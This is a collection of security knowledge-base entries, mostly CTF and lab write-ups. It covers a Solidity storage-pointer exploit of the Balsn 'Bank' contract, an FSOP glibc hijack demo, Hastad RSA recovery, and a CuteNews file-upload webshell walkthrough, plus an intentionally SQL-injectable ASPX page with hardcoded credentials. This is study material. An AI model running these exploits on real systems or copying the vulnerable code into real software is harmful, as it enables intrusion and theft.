https://github.com/UziTech/NSF2SQL/blob/master/NSF2SQL/NSF2SQL.csproj and the flag turned out to be the value of `<ProjectGuid>` so `3AD3A009-FC65-4067-BFF1-6CE1378BA75A`
sec-knowleage
##Airport (forensics, 200p) ##PL version `for ENG version scroll down` Dostajemy folder z czteroma nieoznaczonymi zdjęciami lotnisk i następującym pngem: ![](steghide.jpg) >Steghide is a steganography program that is able to hide data in various kinds of image- and audio-files. Próbujemy uruchomić program na jpgu (na pngach niczego nie wykrywa) i dostajemy zapytanie o hasło. Warto byłoby dowiedzieć się, co to za lotniska, używając google images dostajemy taką oto listę: * José Martí International Airport * Hong Kong International Airport * Los Angeles International Airport * Toronto Pearson International Airport Jak możnaby je połączyć w jedną całość? A na przykłąd używając kodów lotnisk :) Odpalamy program i jako hasło wklepujemy `HAVHKGLAXYYZ`, dostajemy flagę iH4t3A1rp0rt5 #ENG version We are give a folder with four undescribed airport photos and an icon: ![](steghide.jpg) >Steghide is a steganography program that is able to hide data in various kinds of image- and audio-files. We try to run steghide on the jpg file (png returns no results) but we are asked for a password. It's time we found out what theese airport are, using google images we get following list: * José Martí International Airport * Hong Kong International Airport * Los Angeles International Airport * Toronto Pearson International Airport How can we merge them into a password? Let's try airport codes! We run steghide again and this time input `HAVHKGLAXYYZ`, the program runs for some time and returns iH4t3A1rp0rt5, hooray!
sec-knowleage
# Uninitialized Storage Pointer ## 原理 未初始化的存储指针是指在 EVM 中未进行初始化的 storage 变量,这个变量会指向其他变量的区域,从而更改其他变量的值。 ## 例子 ### 典型例子 我们来看下面这个例子: ```solidity pragma solidity ^0.4.24; contract example1{ uint public a; address public b; struct Wallet{ uint value; address addr; } function setValue(uint _a,address _b) public { a = _a; b = _b; } function attack(uint _value, address _addr) public { Wallet wallet; wallet.value = _value; wallet.addr = _addr; } } ``` 将这份代码放入 Remix 中,它会提示 Uninitialized Storage Pointer: 在我们部署后,首先使用 setValue 函数将 a 和 b 的值分别设为 1 和 0x10aA1C20aD710B823f8c1508cfC12D5d1199117E,可以从交易中发现设置成功: 然后我们调用 attack 函数,传入的 _value 和 _addr 值分别为 2 和 0xa3b0D4BBF17F38e00F68Ce73f81D122FB1374ff6,可以从交易中发现 a 和 b 被传入的 _value 和 _addr 值覆盖了: 这个例子的修复方案是使用 mapping 进行结构体的初始化,并使用 storage 进行拷贝: ```solidity pragma solidity ^0.4.24; contract example1{ uint public a; address public b; struct Wallet{ uint value; address addr; } mapping (uint => Wallet) wallets; function setValue(uint _a,address _b) public { a = _a; b = _b; } function fix(uint _id, uint _value, address _addr) public { Wallet storage wallet = wallets[_id]; wallet.value = _value; wallet.addr = _addr; } } ``` 不仅仅是 struct 会遇到这个问题,数组也有同样的问题。我们来看下面的另一个例子: ```solidity pragma solidity ^0.4.24; contract example2{ uint public a; uint[] b; function setValue(uint _a) public { a = _a; } function attack(uint _value) public { uint[] tmp; tmp.push(_value); b = tmp; } } ``` 将这份代码放入 Remix 中,它也会提示 Uninitialized Storage Pointer: 在我们部署后,首先使用 setValue 函数将 a 的值设为 1,可以从交易中发现设置成功: 然后我们调用 attack 函数,传入的 _value 值为 2,这是因为声明的 tmp 数组也使用 slot 0,数组声明的 slot 存储着本身的长度,所以再 push 导致数组长度增加 1,所以 slot 0 位置存储着数值 2 = a(old) + 1,故 a(new) = 2: 这个例子的修复方案是在声明局部变量 tmp 的时候对它进行初始化操作: ```solidity pragma solidity ^0.4.24; contract example2{ uint public a; uint[] b; function setValue(uint _a) public { a = _a; } function fix(uint _value) public { uint[] tmp = b; tmp.push(_value); } } ``` ### 2019 BalsnCTF Bank 以 2019 Balsn CTF 的 Bank 的 WP 作为参考,讲解一下未初始化的存储指针的攻击方式。题目合约的源码如下: ```solidity pragma solidity ^0.4.24; contract Bank { event SendEther(address addr); event SendFlag(address addr); address public owner; uint randomNumber = 0; constructor() public { owner = msg.sender; } struct SafeBox { bool done; function(uint, bytes12) internal callback; bytes12 hash; uint value; } SafeBox[] safeboxes; struct FailedAttempt { uint idx; uint time; bytes12 triedPass; address origin; } mapping(address => FailedAttempt[]) failedLogs; modifier onlyPass(uint idx, bytes12 pass) { if (bytes12(sha3(pass)) != safeboxes[idx].hash) { FailedAttempt info; info.idx = idx; info.time = now; info.triedPass = pass; info.origin = tx.origin; failedLogs[msg.sender].push(info); } else { _; } } function deposit(bytes12 hash) payable public returns(uint) { SafeBox box; box.done = false; box.hash = hash; box.value = msg.value; if (msg.sender == owner) { box.callback = sendFlag; } else { require(msg.value >= 1 ether); box.value -= 0.01 ether; box.callback = sendEther; } safeboxes.push(box); return safeboxes.length-1; } function withdraw(uint idx, bytes12 pass) public payable { SafeBox box = safeboxes[idx]; require(!box.done); box.callback(idx, pass); box.done = true; } function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) { msg.sender.transfer(safeboxes[idx].value); emit SendEther(msg.sender); } function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) { require(msg.value >= 100000000 ether); emit SendFlag(msg.sender); selfdestruct(owner); } } ``` 我们的目标是要执行 emit SendFlag(msg.sender),很明显不能通过 sendFlag 函数来触发,因为我们肯定不能满足 msg.value >= 100000000 ether。 如果我们仔细观察代码,会发现有两处未初始化的存储指针: ```solidity modifier onlyPass(uint idx, bytes12 pass) { [...] FailedAttempt info; <-- [...] } function deposit(bytes12 hash) payable public returns(uint) { [...] SafeBox box; <-- [...] } ``` 那么我们需要思考如何利用它们。我们首先来看看合约刚创建的时候的 slot 的布局: ``` ----------------------------------------------------- | unused (12) | owner (20) | <- slot 0 ----------------------------------------------------- | randomNumber (32) | <- slot 1 ----------------------------------------------------- | safeboxes.length (32) | <- slot 2 ----------------------------------------------------- | occupied by failedLogs but unused (32) | <- slot 3 ----------------------------------------------------- ``` onlyPass 中的 FailedAttempt 的布局如下,它会覆盖原先的 slot0 到 slot2 的内容: ``` ----------------------------------------------------- | idx (32) | ----------------------------------------------------- | time (32) | ----------------------------------------------------- | tx.origin (20) | triedPass (12) | ----------------------------------------------------- ``` deposit 中的 SafeBox 的布局如下,它会覆盖原先的 slot0 到 slot1 的内容: ``` ----------------------------------------------------- | unused (11) | hash (12) | callback (8) | done (1) | ----------------------------------------------------- | value (32) | ----------------------------------------------------- ``` 如果当 FailedAttempt 中的 tx.origin 足够大的时候,就可以覆盖 safeboxes.length 并把它也改成一个足够大的值,这样在调用 withdraw 函数的时候就可以将访问到 failedLogs,我们便可以控制 callback 为任意的内容并控制程序执行流。 那么我们需要控制执行流到什么地方呢?在 opcodes 那节介绍过,跳转指令只能跳转到 JUMPDEST 处,我们需要控制程序执行流跳转到 emit SendFlag(msg.sender) 前的地方,也就是下面所示的 070F 处: ``` 06F6 6A PUSH11 0x52b7d2dcc80cd2e4000000 0702 34 CALLVALUE 0703 10 LT 0704 15 ISZERO 0705 15 ISZERO 0706 15 ISZERO 0707 61 PUSH2 0x070f 070A 57 JUMPI 070B 60 PUSH1 0x00 070D 80 DUP1 070E FD REVERT 070F 5B JUMPDEST <---- here 0710 7F PUSH32 0x2d3bd82a572c860ef85a36e8d4873a9deed3f76b9fddbf13fbe4fe8a97c4a579 0731 33 CALLER 0732 60 PUSH1 0x40 0734 51 MLOAD 0735 80 DUP1 0736 82 DUP3 ``` 最后我们来描述一下攻击的具体步骤: - 寻找一个 address 开头较大的账户,之后的操作都用该账户进行。 - 由于 failedLogs 是 mapping 加上数组的形式,所以计算 `target = keccak256(keccak256(msg.sender||3)) + 2` 的值,也就是 failedLogs[msg.sender][0] 中的 tx.origin | triedPass 的 slot 位置。 - 计算 safeboxes 数组中第一个元素所在的 slot 的位置,也就是 `base = keccak256(2)`。 - 计算 target 在 safeboxes 数组中的索引,由于 safeboxes 数组中一个元素会占据两个 slot,所以计算出来为 `idx = (target - base) // 2`。 - 判断 (target - base) % 2 是否为 0,如果是则 tx.origin | triedPass 刚好可以覆盖到 unused | hash | callback | done,进而可以控制到 callback;否则返回第一步。 - 判断 (msg.sender << (12 * 8)) 是否大于 idx,如果是则 safeboxes 可以访问到 target 处;否则返回第一步。 - 调用 `deposit` 函数,设置传入的 hash 值为 0x000000000000000000000000 并附带 1 ether,这样我们便可以设置 safeboxes[0].callback = sendEther。 - 调用 `withdraw` 函数,设置传入的 idx 值为 0,pass 值为 0x111111111111110000070f00,由于上一步我们设置了 safeboxes[0].callback = sendEther,那么这一步便会调用 sendEther 函数,进而走到 onlyPass 中的 if 分支中,使得 failedLogs[msg.sender][0] 中的 triedPass 被修改为了我们传入的 pass 值,同时这步操作也修改了 safeboxes.length 为 msg.sender | pass。 - 调用 `withdraw` 函数,设置传入的 idx 值为我们在第四步中所计算出的 idx 值,pass 值为 0x000000000000000000000000,那么程序执行流便会跳转到 emit SendFlag(msg.sender) 继续执行,最终目标合约会自毁,攻击成功。 !!! note 注:攻击步骤中的 slot 计算规则可以在 Ethereum Storage 节中查看。 ## 题目 ### Balsn 2019 - 题目名称 Bank ### RCTF 2020 - 题目名称 roiscoin ### Byte 2019 - 题目名称 hf ### 数字经济大赛 2019 - 题目名称 cow - 题目名称 rise !!! note 注:题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。 ## 参考 - [以太坊 Solidity 未初始化存储指针安全风险浅析](https://github.com/slowmist/papers/blob/master/Solidity_Unintialised_Storage_Pointers_Security_Risk.pdf) - [Balsn CTF 2019 - Bank](https://x9453.github.io/2020/01/16/Balsn-CTF-2019-Bank/)
sec-knowleage
# Pixelated Category: Crypto, 100 points ## Description > I have these 2 images, can you make a flag out of them? Two PNG files were attached. ## Solution We receive two PNG files of 256x256, with what looks like random pixel values. Well, there's only so much we can do to combine them to something that will produce a flag. In this case, we had to add the different pixel values: ```python from PIL import Image import numpy as np import os file_names = ["scrambled1.png", "scrambled2.png"] img_data = [np.asarray(Image.open(f'{name}')) for name in file_names] data = img_data[0].copy() + img_data[1].copy() new_image = Image.fromarray(data) new_image.save("out.png", "PNG") ``` The result image contained the flag: `picoCTF{0542dc1d}`
sec-knowleage
# FSOP ## 介绍 FSOP是File Stream Oriented Programming的缩写,根据前面对FILE的介绍得知进程内所有的_IO_FILE结构会使用_chain域相互连接形成一个链表,这个链表的头部由_IO_list_all维护。 FSOP的核心思想就是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all链表中所有项的文件流,相当于对每个FILE调用fflush,也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow。 ``` int _IO_flush_all_lockp (int do_lock) { ... fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; } ... } } ``` 而_IO_flush_all_lockp不需要攻击者手动调用,在一些情况下这个函数会被系统调用: 1.当libc执行abort流程时 2.当执行exit函数时 3.当执行流从main函数返回时 ## 示例 梳理一下FSOP利用的条件,首先需要攻击者获知libc.so基址,因为_IO_list_all是作为全局变量储存在libc.so中的,不泄漏libc基址就不能改写_IO_list_all。 之后需要用任意地址写把_IO_list_all的内容改为指向我们可控内存的指针, 之后的问题是在可控内存中布置什么数据,毫无疑问的是需要布置一个我们理想函数的vtable指针。但是为了能够让我们构造的fake_FILE能够正常工作,还需要布置一些其他数据。 这里的依据是我们前面给出的 ``` if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; } ``` 也就是 * fp->_mode <= 0 * fp->_IO_write_ptr > fp->_IO_write_base 在这里通过一个示例来验证这一点,首先我们分配一块内存用于存放伪造的vtable和_IO_FILE_plus。 为了绕过验证,我们提前获得了_IO_write_ptr、_IO_write_base、_mode等数据域的偏移,这样可以在伪造的vtable中构造相应的数据 ``` #define _IO_list_all 0x7ffff7dd2520 #define mode_offset 0xc0 #define writeptr_offset 0x28 #define writebase_offset 0x20 #define vtable_offset 0xd8 int main(void) { void *ptr; long long *list_all_ptr; ptr=malloc(0x200); *(long long*)((long long)ptr+mode_offset)=0x0; *(long long*)((long long)ptr+writeptr_offset)=0x1; *(long long*)((long long)ptr+writebase_offset)=0x0; *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100); *(long long*)((long long)ptr+0x100+24)=0x41414141; list_all_ptr=(long long *)_IO_list_all; list_all_ptr[0]=ptr; exit(0); } ``` 我们使用分配内存的前0x100个字节作为_IO_FILE,后0x100个字节作为vtable,在vtable中使用0x41414141这个地址作为伪造的_IO_overflow指针。 之后,覆盖位于libc中的全局变量 _IO_list_all,把它指向我们伪造的_IO_FILE_plus。 通过调用exit函数,程序会执行 _IO_flush_all_lockp,经过fflush获取_IO_list_all的值并取出作为_IO_FILE_plus调用其中的_IO_overflow ``` ---> call _IO_overflow [#0] 0x7ffff7a89193 → Name: _IO_flush_all_lockp(do_lock=0x0) [#1] 0x7ffff7a8932a → Name: _IO_cleanup() [#2] 0x7ffff7a46f9b → Name: __run_exit_handlers(status=0x0, listp=<optimized out>, run_list_atexit=0x1) [#3] 0x7ffff7a47045 → Name: __GI_exit(status=<optimized out>) [#4] 0x4005ce → Name: main() ```
sec-knowleage
pmap === 报告进程的内存映射关系 ## 补充说明 **pmap命令** 用于报告进程的内存映射关系,是Linux调试及运维一个很好的工具。 ### 语法 ```shell pmap(选项)(参数) ``` ### 选项 ```shell -x:显示扩展格式; -d:显示设备格式; -q:不显示头尾行; -V:显示指定版本。 ``` ### 参数 进程号:指定需要显示内存映射关系的进程号,可以是多个进程号。 ### 实例 ```shell pidof nginx 13312 5371 pmap -x 5371 5371: nginx: worker process Address Kbytes RSS Dirty Mode Mapping 0000000000400000 564 344 0 r-x-- nginx 000000000068c000 68 68 60 rw--- nginx 000000000069d000 56 12 12 rw--- [ anon ] 000000000a0c8000 1812 1684 1684 rw--- [ anon ] 0000003ac0a00000 112 40 0 r-x-- ld-2.5.so 0000003ac0c1c000 4 4 4 r---- ld-2.5.so 0000003ac0c1d000 4 4 4 rw--- ld-2.5.so 0000003ac0e00000 1340 284 0 r-x-- libc-2.5.so 0000003ac0f4f000 2044 0 0 ----- libc-2.5.so 0000003ac114e000 16 16 8 r---- libc-2.5.so 0000003ac1152000 4 4 4 rw--- libc-2.5.so 0000003ac1153000 20 20 20 rw--- [ anon ] 0000003ac1200000 8 4 0 r-x-- libdl-2.5.so 0000003ac1202000 2048 0 0 ----- libdl-2.5.so 0000003ac1402000 4 4 4 r---- libdl-2.5.so 0000003ac1403000 4 4 4 rw--- libdl-2.5.so 0000003ac1600000 84 0 0 r-x-- libselinux.so.1 0000003ac1615000 2048 0 0 ----- libselinux.so.1 0000003ac1815000 8 8 8 rw--- libselinux.so.1 0000003ac1817000 4 4 4 rw--- [ anon ] 0000003ac1a00000 236 0 0 r-x-- libsepol.so.1 0000003ac1a3b000 2048 0 0 ----- libsepol.so.1 0000003ac1c3b000 4 4 4 rw--- libsepol.so.1 0000003ac1c3c000 40 0 0 rw--- [ anon ] 0000003ac1e00000 88 44 0 r-x-- libpthread-2.5.so 0000003ac1e16000 2048 0 0 ----- libpthread-2.5.so 0000003ac2016000 4 4 4 r---- libpthread-2.5.so 0000003ac2017000 4 4 4 rw--- libpthread-2.5.so 0000003ac2018000 16 4 4 rw--- [ anon ] 0000003ac2600000 80 52 0 r-x-- libz.so.1.2.3 0000003ac2614000 2044 0 0 ----- libz.so.1.2.3 0000003ac2813000 4 4 4 rw--- libz.so.1.2.3 0000003ac2a00000 36 4 0 r-x-- libcrypt-2.5.so 0000003ac2a09000 2044 0 0 ----- libcrypt-2.5.so 0000003ac2c08000 4 4 4 r---- libcrypt-2.5.so 0000003ac2c09000 4 4 4 rw--- libcrypt-2.5.so 0000003ac2c0a000 184 0 0 rw--- [ anon ] 0000003ac3600000 8 0 0 r-x-- libkeyutils-1.2.so 0000003ac3602000 2044 0 0 ----- libkeyutils-1.2.so 0000003ac3801000 4 4 4 rw--- libkeyutils-1.2.so 0000003ac3a00000 68 0 0 r-x-- libresolv-2.5.so 0000003ac3a11000 2048 0 0 ----- libresolv-2.5.so 0000003ac3c11000 4 4 4 r---- libresolv-2.5.so 0000003ac3c12000 4 4 4 rw--- libresolv-2.5.so 0000003ac3c13000 8 0 0 rw--- [ anon ] 0000003ac3e00000 8 0 0 r-x-- libcom_err.so.2.1 0000003ac3e02000 2044 0 0 ----- libcom_err.so.2.1 0000003ac4001000 4 4 4 rw--- libcom_err.so.2.1 0000003ac4200000 1204 8 0 r-x-- libcrypto.so.0.9.8e 0000003ac432d000 2044 0 0 ----- libcrypto.so.0.9.8e 0000003ac452c000 132 88 12 rw--- libcrypto.so.0.9.8e 0000003ac454d000 16 12 12 rw--- [ anon ] 0000003ac4600000 176 0 0 r-x-- libgssapi_krb5.so.2.2 0000003ac462c000 2048 0 0 ----- libgssapi_krb5.so.2.2 0000003ac482c000 8 8 8 rw--- libgssapi_krb5.so.2.2 0000003ac4a00000 144 0 0 r-x-- libk5crypto.so.3.1 0000003ac4a24000 2044 0 0 ----- libk5crypto.so.3.1 0000003ac4c23000 8 8 8 rw--- libk5crypto.so.3.1 0000003ac4e00000 32 0 0 r-x-- libkrb5support.so.0.1 0000003ac4e08000 2044 0 0 ----- libkrb5support.so.0.1 0000003ac5007000 4 4 4 rw--- libkrb5support.so.0.1 0000003ac5200000 580 0 0 r-x-- libkrb5.so.3.3 0000003ac5291000 2048 0 0 ----- libkrb5.so.3.3 0000003ac5491000 16 16 12 rw--- libkrb5.so.3.3 0000003ac5a00000 288 4 0 r-x-- libssl.so.0.9.8e 0000003ac5a48000 2048 0 0 ----- libssl.so.0.9.8e 0000003ac5c48000 24 16 12 rw--- libssl.so.0.9.8e 00002b5751808000 8 8 8 rw--- [ anon ] 00002b5751810000 108 36 0 r-x-- libpcre.so.1.2.0 00002b575182b000 2044 0 0 ----- libpcre.so.1.2.0 00002b5751a2a000 4 4 4 rw--- libpcre.so.1.2.0 00002b5751a2b000 28 28 28 rw--- [ anon ] 00002b5751a32000 40 20 0 r-x-- libnss_files-2.5.so 00002b5751a3c000 2044 0 0 ----- libnss_files-2.5.so 00002b5751c3b000 4 4 4 r---- libnss_files-2.5.so 00002b5751c3c000 4 4 4 rw--- libnss_files-2.5.so 00002b5751c3d000 4 4 4 rw-s- zero (deleted) 00002b5751c3e000 20012 20000 20000 rw--- [ anon ] 00007fffbf2ce000 84 20 20 rw--- [ stack ] 00007fffbf35e000 12 0 0 r-x-- [ anon ] ffffffffff600000 8192 0 0 ----- [ anon ] ---------------- ------ ------ ------ total kB 72880 22940 22000 ```
sec-knowleage
chpasswd === 批量更新用户口令的工具 ## 补充说明 **chpasswd命令** 是批量更新用户口令的工具,是把一个文件内容重新定向添加到`/etc/shadow`中。 ### 语法 ```shell chpasswd(选项) ``` ### 选项 ```shell -e:输入的密码是加密后的密文; -h:显示帮助信息并退出; -m:当被支持的密码未被加密时,使用MD5加密代替DES加密。 ``` ### 实例 先创建用户密码对应文件,格式为`username:password`,如`abc:abc123`,必须以这种格式来书写,并且不能有空行,保存成文本文件user.txt,然后执行chpasswd命令: ```shell chpasswd < user.txt ``` 以上是运用chpasswd命令来批量修改密码。是linux系统管理中的捷径。
sec-knowleage
msf 在非 session 模式下与 session 模式下都支持第三方的加载与第三方框架的融合。代表参数为 load。两种模式下的 load 意义不同。本季主要针对非 session 模式下的 load sqlmap情景。 ![](media/0b8b7eb912d7d46bf6e6f1dfd636bfeb.jpg) ![](media/65e1410fa83b3a40611d3d8bfcc3ddee.jpg) ### 加载Sqlmap后,主要参数如下: ```bash Sqlmap Commands =============== Command Description ‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ sqlmap_connect sqlmap_connect <host> [<port>] sqlmap_get_data Get the resulting data of the task sqlmap_get_log Get the running log of a task sqlmap_get_option Get an option for a task sqlmap_get_status Get the status of a task sqlmap_list_tasks List the knows tasks. New tasks are not stored in DB,so lives as long as the console does sqlmap_new_task Create a new task sqlmap_save_data Save the resulting data as web_vulns sqlmap_set_option Set an option for a task sqlmap_start_task Start the task msf exploit(multi/handler) > help sqlmap ``` help 加载的模块名,为显示第三方的帮助文档。 ![](media/e7e0f046ae5d01be11380d39684930f5.jpg) msf 上的 sqlmap 插件依赖于 sqlmap 的 sqlmapapi.py 在使用前需要启动sqlmapapi.py ![](media/f878d0036fa5a7b15a07fd062e61f30c.jpg) 然后在msf上建立任务。 而 sqlmap 对 msf 也完美支持。 **靶机:** 192.168.1.115,Sql server 2005 + aspx.net 构造注入点,如图1: ![图1:](media/bf195a288663fc6a43042f6dd53a160d.jpg) 数据结构,如图2: ![](media/b0c52a380dc2c1ea276e444e5ef8997b.jpg) ![](media/e26356b1e7bcaceeb258ce8f83abf40e.jpg) ![](media/01023a8686d914895d7e7c7a5e488051.jpg) ![](media/c62298dd3c15e08f9410010f806e8ecc.jpg) ![](media/f637ac23d411e42618bb33fcbb16dc54.jpg) 关于msf与sqlmap的结合在未来的系列中还会继续讲述,本季作为基础。 ### 附录: 注入点代码: ``` html <%@ Page Language="C#" AutoEventWireup="true" %> <%@ Import Namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <!DOCTYPE html> <script runat="server"> private DataSet resSet=new DataSet(); protected void Page_Load(object sender, EventArgs e) { String strconn = "server=.;database=xxrenshi;uid=sa;pwd=123456"; string id = Request.Params["id"]; //string sql = string.Format("select * from admin where id={0}", id); string sql = "select * from sys_user where id=" + id; SqlConnection connection=new SqlConnection(strconn); connection.Open(); SqlDataAdapter dataAdapter = new SqlDataAdapter(sql, connection); dataAdapter.Fill(resSet); DgData.DataSource = resSet.Tables[0]; DgData.DataBind(); Response.Write("sql:<br>"+sql); Response.Write("<br>Result:"); } </script> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <meta http‐equiv="Content‐Type" content="text/html; charset=utf‐8"/> <title></title> </head> <body> <form id="form1" runat="server"> <div> <asp:DataGrid ID="DgData" runat="server" BackColor="White" BorderColor="#3366CC" BorderStyle="None" BorderWidth="1px" CellPadding="4" HeaderStyle‐CssClass="head" Width="203px"> <FooterStyle BackColor="#99CCCC" ForeColor="#003399" /> <SelectedItemStyle BackColor="#009999" Font‐Bold="True" ForeColor="#CCFF99" /> <PagerStyle BackColor="#99CCCC" ForeColor="#003399" HorizontalAlign="Left" Mode="NumericPages" /> <ItemStyle BackColor="White" ForeColor="#003399" /> <HeaderStyle CssClass="head" BackColor="#003399" Font‐Bold="True" Fore Color="#CCCCFF"></HeaderStyle> </asp:DataGrid> </div> </form> </body> </html> ``` > Micropoor
sec-knowleage
# Simple > https://download.vulnhub.com/sectalks/Simple.ova 靶场IP:`192.168.32.198` 扫描对外端口 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.198 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-02 05:39 EDT Nmap scan report for 192.168.32.198 Host is up (0.00064s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) MAC Address: 00:0C:29:C5:01:28 (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.70 seconds ``` ![image-20220902174056548](../../.gitbook/assets/image-20220902174056548.png) 查找CMS版本漏洞 ![image-20220902174200925](../../.gitbook/assets/image-20220902174200925.png) ``` ┌──(root💀kali)-[/tmp] └─# cat 37474.txt CuteNews 2.0.3 Remote File Upload Vulnerability ================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ########################################## 1 0 I'm T0x!c member from Inj3ct0r Team 1 1 ########################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 # Exploit Title: CuteNews 2.0.3 Remote File Upload Vulnerability # Date: [02/07/2015] # Exploit Author: [T0x!c] # Facebook: https://www.facebook.com/Dz.pr0s # Vendor Homepage: [http://cutephp.com/] # Software Link: [http://cutephp.com/cutenews/cutenews.2.0.3.zip] # Version: [2.0.3] # Tested on: [Windows 7] # greetz to :Tr00n , Kha&mix , Cc0de , Ghosty , Ked ans , Caddy-dz ..... ========================================================== # Exploit : Vuln : http://127.0.0.1/cutenews/index.php?mod=main&opt=personal 1 - Sign up for New User 2 - Log In 3 - Go to Personal options http://www.target.com/cutenews/index.php?mod=main&opt=personal 4 - Select Upload Avatar Example: Evil.jpg 5 - use tamper data & Rename File Evil.jpg to Evil.php -----------------------------2847913122899\r\nContent-Disposition: form-data; name="avatar_file"; filename="Evil.php"\r\ 6 - Your Shell : http://127.0.0.1/cutenews/uploads/avatar_Username_FileName.php Example: http://127.0.0.1/cutenews/uploads/avatar_toxic_Evil.php ``` 创建一个帐户,更改头像,篡改请求,我们将拥有一个上传的 shell。 我们注册我们的帐户: ![image-20220902174511845](../../.gitbook/assets/image-20220902174511845.png) 我们转到配置文件选项: ![image-20220902174538202](../../.gitbook/assets/image-20220902174538202.png) 我们选择上传头像的选项: ![image-20220902174703099](../../.gitbook/assets/image-20220902174703099.png) 使用bp拦截修改后缀 ![image-20220902175138094](../../.gitbook/assets/image-20220902175138094.png) 就可以看到上传成功。 ![image-20220902175203331](../../.gitbook/assets/image-20220902175203331.png) 反弹shell建立成功。 ![image-20220902175332640](../../.gitbook/assets/image-20220902175332640.png) ``` python -c 'import pty;pty.spawn("/bin/bash")' ```
sec-knowleage
# SMTPresident (crypto 400) ###ENG [PL](#pl-version) This was sadly a very badly designed task, because the last step was broken and required a crystal ball to figure out what auther had in mind. Unfortunately we figured this out after the CTF was over. In this task we get 170 encrypted emails, 170 public keys for them and encrypted flag. First thing we notice is that there are 17 emails per single date. Next we notice that each pubblic key has public exponent `e` equal to 17. This automatically bring to mind the Hastad broadcast attack using Chinese Reminder Theorem! We assume here that each day the message that was sent is identical and therefore we have CRT resiude-modulus pairs. We solve CRT with: ```python def solve_crt(residues, moduluses): import gmpy2 N = reduce(lambda x, y: x * y, moduluses) Nxs = [N / n for n in moduluses] ds = [gmpy2.invert(N / n, n) for n in moduluses] mults = [residues[i] * Nxs[i] * ds[i] for i in range(len(moduluses))] return reduce(lambda x, y: x + y, mults) % N ``` This way we hopefully get `message ^ 17` and by applying integer nth root we recover the value of `message` for each date. Messages are for example: ``` 4/5/16 Sub##ct:#My ##llow#D#C#Mem###s #onte#t:##e#p t#####a## <MI#SIN##1#62866###4###8349#477####17117####0#97909##6#6##248#11##0478#######87##3##0169#2######30#71###### th#######e#key #####r### o#. 4/2/16 ####e#t:##y F#l#o# DN# #e###r# Co#ten## Kee# this#s##e #M#S#I##>18#2#661##4##08#4##47#2#1#1##1#5#6#0#9#90###6467#24##1180###8#2#29##8705350##6#####6#13#0#7###553# t##t'# ##e key #e a#ree####. ``` So it seems it's a single message just with missing bytes in different mails. We combine this to get: ``` Subject: My Fellow DNC Members Content: Keep this safe <MISSING>1862866103431083493477241717117566609979097064670248011800478128293487053500169824960133057115553, that's the key we agreed on. ``` And now comes the uber-confusing guessing part. Apparently author assumed that we will figure out that he meant the number above does not only specify the suffix of the decryption exponent but also the low bits. This of course is not justified at all by the data we have, it's just a pure guess. But it you follow this, you can recover most of `d` bits simply by checking which combination of higher bits won't change the suffix value. In the end you can run a standard partial key recovery algorithm and even with high public exponent 65537 you can recover the key reasonably quickly. This could, theoretically, be solved without a crystal ball, but it would require significant computational power... ###PL version To niestety było bardzo źle zaprojektowane zadanie, głównie dlatego, że ostatni krok wymagał szklanej kuli, żeby zgadnać co autor miał na myśli. Nam udało sie to dopiero po zakończeniu CTFa. W tym zadaniu dostajemy na początku 170 zaszyfrowanych maili, 170 kluczy publicznych oraz zaszyfrowaną flagę. Pierwsza rzecz którą zauważamy, to fakt, że każdego dnia jest 17 maili. Następnie zauważamy, że publiczny wykładnik szyfrujacy wynosi 17. To automatycznie przywodzi na myśl atak Hastad broadcast z wykorzystaniem Chińskiego Twierdzenia o Resztach. Zakładamy tutaj, że każdego dnia wysyłano tą samą wiadomość a tym samym znamy pary reszta-modulus dla CRT. Rozwiązujemy CRT: ```python def solve_crt(residues, moduluses): import gmpy2 N = reduce(lambda x, y: x * y, moduluses) Nxs = [N / n for n in moduluses] ds = [gmpy2.invert(N / n, n) for n in moduluses] mults = [residues[i] * Nxs[i] * ds[i] for i in range(len(moduluses))] return reduce(lambda x, y: x + y, mults) % N ``` I w ten sposób liczymy na otrzymanie wartości `message^17` i wyliczając całkowity pierwiastek 17 stopnia odzyskujemy wartość `message` dla każdej daty. Wiadomości które dostajemy wyglądają tak: ``` 4/5/16 Sub##ct:#My 